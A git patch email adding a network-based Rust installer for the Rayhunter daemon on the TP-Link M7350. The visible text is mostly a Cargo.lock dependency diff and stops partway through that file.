From cd87e2d225d72f7cf522c4ac393c8bde18032c45 Mon Sep 17 00:00:00 2001 From: Markus Unterwaditzer Date: Wed, 23 Apr 2025 02:14:30 +0200 Subject: [PATCH 01/14] Tplink M7350 installer v3 in Rust It does the same thing as https://github.com/EFForg/rayhunter/pull/272 but only installs necessary files. Installation happens entirely over the network so there is no dependency on ADB. Currently can be used like this: 1. cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release --no-default-features --features tplink 2. cp target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon dist/rayhunter-daemon-tplink 3. cargo run --bin installer -- install-tplink --- Cargo.lock | 996 +++++++++++++++++++++++++++++++++++++----- Cargo.toml | 2 +- installer/Cargo.toml | 13 + installer/src/main.rs | 223 ++++++++++ 4 files changed, 1132 insertions(+), 102 deletions(-) create mode 100644 installer/Cargo.toml create mode 100644 installer/src/main.rs diff --git a/Cargo.lock b/Cargo.lock index 9d67f4f1..f09e53db 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -81,9 +81,9 @@ dependencies = [ [[package]] name = "anstyle" -version = "1.0.6" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" +checksum = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9" [[package]] name = "anstyle-parse" @@ -115,9 +115,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.97" +version = "1.0.98" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcfed56ad506cb2c684a14971b8861fdc3baaaae314b9e5f9bb532cbe3ba7a4f" +checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487" [[package]] name = "asn1-codecs" @@ -140,7 +140,7 @@ dependencies = [ "bitvec", "clap", "env_logger", - "heck", + "heck 0.4.1", "lazy_static", "log", "proc-macro2", @@ -171,7 +171,7 @@ checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -214,7 +214,7 @@ dependencies = [ "serde_urlencoded", "sync_wrapper", "tokio", - "tower 0.5.2", + "tower", "tower-layer", "tower-service", "tracing", @@ -255,6 +255,12 @@ dependencies = [ "rustc-demangle", ] +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + [[package]] name = "bitflags" version = "1.3.2" @@ -309,15 +315,18 @@ dependencies = [ [[package]] name = "bytes" -version = "1.5.0" +version = "1.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" [[package]] name = "cc" -version = "1.0.86" +version = "1.2.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f9fa1897e4325be0d68d48df6aa1a71ac2ed4d27723887e7754192705350730" +checksum = "8e3a13707ac958681c13b39b458c073d0d9bc8a22cb1b2f4c8e55eb72c13f362" +dependencies = [ + "shlex", +] [[package]] name = "cfg-if" @@ -348,9 +357,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.5.2" +version = "4.5.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b230ab84b0ffdf890d5a10abdbc8b83ae1c4918275daea1ab8801f71536b2651" +checksum = "eccb054f56cbd38340b380d4a8e69ef1f02f1af43db2f0cc817a4774d80ae071" dependencies = [ "clap_builder", "clap_derive", @@ -358,9 +367,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.2" +version = "4.5.37" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae129e2e766ae0ec03484e609954119f123cc1fe650337e155d03b022f24f7b4" +checksum = "efd9466fac8543255d3b1fcad4762c5e116ffe808c8a3043d4263cd4fd4862a2" dependencies = [ "anstream", "anstyle", @@ -370,21 +379,21 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.5.0" +version = "4.5.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" +checksum = "09176aae279615badda0765c0c0b3f6ed53f4709118af73cf4655d85d1530cd7" dependencies = [ - "heck", + "heck 0.5.0", "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] name = "clap_lex" -version = "0.7.0" +version = "0.7.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" +checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6" [[package]] name = "color_quant" @@ -529,6 +538,26 @@ dependencies = [ "syn 1.0.109", ] +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "encoding_rs" +version = "0.8.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" +dependencies = [ + "cfg-if", +] + [[package]] name = "env_logger" version = "0.10.2" @@ -589,6 +618,21 @@ version = "1.0.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + [[package]] name = "form_urlencoded" version = "1.2.1" @@ -660,7 +704,7 @@ checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -693,6 +737,17 @@ dependencies = [ "slab", ] +[[package]] +name = "getrandom" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + [[package]] name = "gif" version = "0.13.1" @@ -709,6 +764,25 @@ version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" +[[package]] +name = "h2" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75249d144030531f8dee69fe9cea04d3edf809a017ae445e2abdff6629e86633" +dependencies = [ + "atomic-waker", + "bytes", + "fnv", + "futures-core", + "futures-sink", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + [[package]] name = "hashbrown" version = "0.14.3" @@ -731,6 +805,12 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + [[package]] name = "hermit-abi" version = "0.3.6" @@ -773,9 +853,9 @@ dependencies = [ [[package]] name = "httparse" -version = "1.8.0" +version = "1.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" [[package]] name = "httpdate" @@ -791,13 +871,14 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "hyper" -version = "1.2.0" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "186548d73ac615b32a73aafe38fb4f56c0d340e110e5a200bcadbaf2e199263a" +checksum = "cc2b571658e38e0c01b1fdca3bbbe93c00d3d71693ff2770043f8c29bc7d6f80" dependencies = [ "bytes", "futures-channel", "futures-util", + "h2", "http", "http-body", "httparse", @@ -806,24 +887,60 @@ dependencies = [ "pin-project-lite", "smallvec", "tokio", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.27.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d191583f3da1305256f22463b9bb0471acad48a4e534a5218b9963e9c1f59b2" +dependencies = [ + "futures-util", + "http", + "hyper", + "hyper-util", + "rustls", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tower-service", +] + +[[package]] +name = "hyper-tls" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70206fc6890eaca9fde8a0bf71caa2ddfc9fe045ac9e5c70df101a7dbde866e0" +dependencies = [ + "bytes", + "http-body-util", + "hyper", + "hyper-util", + "native-tls", + "tokio", + "tokio-native-tls", + "tower-service", ] [[package]] name = "hyper-util" -version = "0.1.3" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca38ef113da30126bbff9cd1705f9273e15d45498615d138b0c20279ac7a76aa" +checksum = "497bbc33a26fdd4af9ed9c70d63f61cf56a938375fbb32df34db9b1cd6d643f2" dependencies = [ "bytes", + "futures-channel", "futures-util", "http", "http-body", "hyper", + "libc", "pin-project-lite", "socket2", "tokio", - "tower 0.4.13", "tower-service", + "tracing", ] [[package]] @@ -849,12 +966,151 @@ dependencies = [ "cc", ] +[[package]] +name = "icu_collections" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db2fa452206ebee18c4b5c2274dbf1de17008e874b4dc4f0aea9d01ca79e4526" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_locid" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13acbb8371917fc971be86fc8057c41a64b521c184808a698c02acc242dbf637" +dependencies = [ + "displaydoc", + "litemap", + "tinystr", + "writeable", + "zerovec", +] + +[[package]] +name = "icu_locid_transform" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01d11ac35de8e40fdeda00d9e1e9d92525f3f9d887cdd7aa81d727596788b54e" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_locid_transform_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_locid_transform_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7515e6d781098bf9f7205ab3fc7e9709d34554ae0b21ddbcb5febfa4bc7df11d" + +[[package]] +name = "icu_normalizer" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "19ce3e0da2ec68599d193c93d088142efd7f9c5d6fc9b803774855747dc6a84f" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_normalizer_data", + "icu_properties", + "icu_provider", + "smallvec", + "utf16_iter", + "utf8_iter", + "write16", + "zerovec", +] + +[[package]] +name = "icu_normalizer_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5e8338228bdc8ab83303f16b797e177953730f601a96c25d10cb3ab0daa0cb7" + +[[package]] +name = "icu_properties" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93d6020766cfc6302c15dbbc9c8778c37e62c14427cb7f6e601d849e092aeef5" +dependencies = [ + "displaydoc", + "icu_collections", + "icu_locid_transform", + "icu_properties_data", + "icu_provider", + "tinystr", + "zerovec", +] + +[[package]] +name = "icu_properties_data" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85fb8799753b75aee8d2a21d7c14d9f38921b54b3dbda10f5a3c7a7b82dba5e2" + +[[package]] +name = "icu_provider" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ed421c8a8ef78d3e2dbc98a973be2f3770cb42b606e3ab18d6237c4dfde68d9" +dependencies = [ + "displaydoc", + "icu_locid", + "icu_provider_macros", + "stable_deref_trait", + "tinystr", + "writeable", + "yoke", + "zerofrom", + "zerovec", +] + +[[package]] +name = "icu_provider_macros" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ec89e9337638ecdc08744df490b221a7399bf8d164eb52a665454e60e075ad6" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "ident_case" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" +[[package]] +name = "idna" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "686f825264d630750a544639377bae737628043f20d38bbc029e8f29ea968a7e" +dependencies = [ + "idna_adapter", + "smallvec", + "utf8_iter", +] + +[[package]] +name = "idna_adapter" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daca1df1c957320b2cf139ac61e7bd64fed304c5040df000a745aa1de3b4ef71" +dependencies = [ + "icu_normalizer", + "icu_properties", +] + [[package]] name = "image" version = "0.25.1" @@ -898,6 +1154,19 @@ dependencies = [ "hashbrown 0.15.2", ] +[[package]] +name = "installer" +version = "0.1.0" +dependencies = [ + "anyhow", + "clap", + "md5", + "reqwest", + "serde", + "serde_json", + "tokio", +] + [[package]] name = "io-kit-sys" version = "0.4.1" @@ -908,6 +1177,12 @@ dependencies = [ "mach2", ] +[[package]] +name = "ipnet" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130" + [[package]] name = "is-terminal" version = "0.4.12" @@ -927,10 +1202,11 @@ checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "js-sys" -version = "0.3.68" +version = "0.3.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "406cda4b368d531c842222cf9d2600a9a4acce8d29423695379c6868a143a9ee" +checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f" dependencies = [ + "once_cell", "wasm-bindgen", ] @@ -952,6 +1228,12 @@ version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78b3ae25bc7c8c38cec158d1f2757ee79e9b3740fbc7ccf0e59e4b08d793fa89" +[[package]] +name = "litemap" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23fb14cb19457329c82206317a5663005a4d404783dc74f4252769b0d5f42856" + [[package]] name = "lock_api" version = "0.4.11" @@ -983,6 +1265,12 @@ version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" +[[package]] +name = "md5" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "490cc448043f947bae3cbee9c203358d62dbee0db12107a74be5c30ccfd09771" + [[package]] name = "memchr" version = "2.7.1" @@ -1035,6 +1323,23 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "native-tls" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe", + "openssl-sys", + "schannel", + "security-framework", + "security-framework-sys", + "tempfile", +] + [[package]] name = "nix" version = "0.29.0" @@ -1114,6 +1419,50 @@ version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" +[[package]] +name = "openssl" +version = "0.10.72" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fedfea7d58a1f73118430a55da6a286e7b044961736ce96a16a17068ea25e5da" +dependencies = [ + "bitflags 2.6.0", + "cfg-if", + "foreign-types", + "libc", + "once_cell", + "openssl-macros", + "openssl-sys", +] + +[[package]] +name = "openssl-macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "openssl-probe" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e" + +[[package]] +name = "openssl-sys" +version = "0.9.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8288979acd84749c744a9014b4382d42b8f7b2592847b5afb2ed29e5d16ede07" +dependencies = [ + "cc", + "libc", + "pkg-config", + "vcpkg", +] + [[package]] name = "parking_lot" version = "0.12.1" @@ -1169,26 +1518,6 @@ version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" -[[package]] -name = "pin-project" -version = "1.1.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" -dependencies = [ - "pin-project-internal", -] - -[[package]] -name = "pin-project-internal" -version = "1.1.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.50", -] - [[package]] name = "pin-project-lite" version = "0.2.13" @@ -1201,6 +1530,12 @@ version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + [[package]] name = "png" version = "0.17.16" @@ -1341,17 +1676,75 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] -name = "rootshell" -version = "0.2.8" +name = "reqwest" +version = "0.12.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d19c46a6fdd48bc4dab94b6103fccc55d34c67cc0ad04653aad4ea2a07cd7bbb" dependencies = [ - "nix", + "base64", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-tls", + "hyper-util", + "ipnet", + "js-sys", + "log", + "mime", + "native-tls", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "sync_wrapper", + "system-configuration", + "tokio", + "tokio-native-tls", + "tower", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "windows-registry", ] [[package]] -name = "rustc-demangle" -version = "0.1.23" +name = "ring" +version = "0.17.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + +[[package]] +name = "rootshell" +version = "0.2.8" +dependencies = [ + "nix", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" [[package]] name = "rustix" @@ -1366,6 +1759,45 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "rustls" +version = "0.23.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df51b5869f3a441595eac5e8ff14d486ff285f7b8c0df8770e49c3b56351f0f0" +dependencies = [ + "once_cell", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pemfile" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dce314e5fee3f39953d46bb63bb8a46d40c2f8fb7cc5a3b6cab2bde9721d6e50" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "rustls-pki-types" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "917ce264624a4b4db1c364dcc35bfca9ded014d0a958cd47ad3e960e988ea51c" + +[[package]] +name = "rustls-webpki" +version = "0.103.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fef8b8769aaccf73098557a87cd1816b4f9c7c16811c9c77142aa695c16f2c03" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + [[package]] name = "rustversion" version = "1.0.20" @@ -1378,39 +1810,72 @@ version = "1.0.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1" +[[package]] +name = "schannel" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534" +dependencies = [ + "windows-sys 0.52.0", +] + [[package]] name = "scopeguard" version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "security-framework" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" +dependencies = [ + "bitflags 2.6.0", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49db231d56a190491cb4aeda9527f1ad45345af50b0851622a7adb8c03b01c32" +dependencies = [ + "core-foundation-sys", + "libc", +] + [[package]] name = "serde" -version = "1.0.197" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.197" +version = "1.0.219" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] name = "serde_json" -version = "1.0.114" +version = "1.0.140" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0" +checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373" dependencies = [ "itoa", + "memchr", "ryu", "serde", ] @@ -1455,6 +1920,12 @@ dependencies = [ "tokio", ] +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + [[package]] name = "signal-hook-registry" version = "1.4.1" @@ -1499,20 +1970,32 @@ checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" -version = "0.5.5" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +checksum = "4f5fd57c80058a56cf5c777ab8a126398ece8e442983605d280a44ce79d0edef" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + [[package]] name = "strsim" version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + [[package]] name = "syn" version = "1.0.109" @@ -1526,9 +2009,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.50" +version = "2.0.100" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "74f1bdc9872430ce9b75da68329d1c1746faf50ffac5f19e02b71e37ff881ffb" +checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0" dependencies = [ "proc-macro2", "quote", @@ -1540,6 +2023,41 @@ name = "sync_wrapper" version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8af7666ab7b6390ab78131fb5b0fce11d6b7a6951602017c35fa82800708971" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "system-configuration" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c879d448e9d986b661742763247d3693ed13609438cf3d006f51f5368a5ba6b" +dependencies = [ + "bitflags 2.6.0", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e1d1b10ced5ca923a1fcb8d03e96b8d3268065d724548c0211415ff6ac6bac4" +dependencies = [ + "core-foundation-sys", + "libc", +] [[package]] name = "tap" @@ -1598,7 +2116,7 @@ checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", ] [[package]] @@ -1634,6 +2152,16 @@ dependencies = [ "time-core", ] +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", + "zerovec", +] + [[package]] name = "tokio" version = "1.44.2" @@ -1670,7 +2198,27 @@ checksum = "6e06d43f1345a3bcd39f6a56dbb7dcab2ba47e68e8ac134855e7e2bdbaf8cab8" dependencies = [ "proc-macro2", "quote", - "syn 2.0.50", + "syn 2.0.100", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e727b36a1a0e8b74c376ac2211e40c2c8af09fb4013c60d910495810f008e9b" +dependencies = [ + "rustls", + "tokio", ] [[package]] @@ -1697,6 +2245,7 @@ dependencies = [ "hashbrown 0.14.3", "pin-project-lite", "tokio", + "tracing", ] [[package]] @@ -1739,22 +2288,6 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ea68304e134ecd095ac6c3574494fc62b909f416c4fca77e440530221e549d3d" -[[package]] -name = "tower" -version = "0.4.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" -dependencies = [ - "futures-core", - "futures-util", - "pin-project", - "pin-project-lite", - "tokio", - "tower-layer", - "tower-service", - "tracing", -] - [[package]] name = "tower" version = "0.5.2" @@ -1803,6 +2336,12 @@ dependencies = [ "once_cell", ] +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + [[package]] name = "unicase" version = "2.7.0" @@ -1818,18 +2357,62 @@ version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 